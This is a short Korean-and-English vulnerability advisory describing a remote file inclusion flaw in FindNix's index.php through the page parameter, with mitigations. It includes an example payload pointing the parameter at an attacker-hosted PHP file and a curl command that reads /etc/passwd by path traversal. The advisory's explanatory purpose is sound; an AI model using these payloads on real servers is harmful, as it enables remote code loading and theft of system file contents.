🇰🇷 한글 설명
FindNix의 index.php에 원격 파일 포함(RFI) 취약점이 존재하여, 공격자가 page 파라미터를 통해 임의의 URL 내용을 포함시킬 수 있습니다. 이를 통해 크로스사이트 스크립팅(XSS) 공격을 수행하거나 민감한 파일 정보를 탈취할 수 있습니다.
💡 쉬운 설명
FindNix 웹사이트가 사용자가 지정한 URL의 파일을 자동으로 로드하는 결함이 있습니다. 공격자는 이를 악용하여 악성 코드를 주입하거나 서버의 중요 파일에 접근할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in FindNix allows remote attackers to include the contents of arbitrary URLs and conduct cross-site scripting (XSS) attacks via a URL in the page parameter.
📍 영향받는 시스템
FindNix (버전 미명시, 패치 전 모든 버전)
⚔️ 공격 벡터
HTTP GET 요청으로 page 파라미터에 악의적 URL 주입 (예: ?page=http://attacker.com/evil.php)
🛡️ 대응 방법
page 파라미터 입력값 검증/필터링 추가, 절대 경로 사용 금지, allow_url_include PHP 설정 비활성화
🔧 검증 코드
root 또는 bin/bash 등 /etc/passwd 내용이 출력되면 취약점 존재, 404 또는 아무 내용도 없으면 패치 완료
curl -s 'http://target/index.php?page=../../../../etc/passwd' 2>/dev/null | grep -E 'root:|bin/bash' || echo 'Not vulnerable'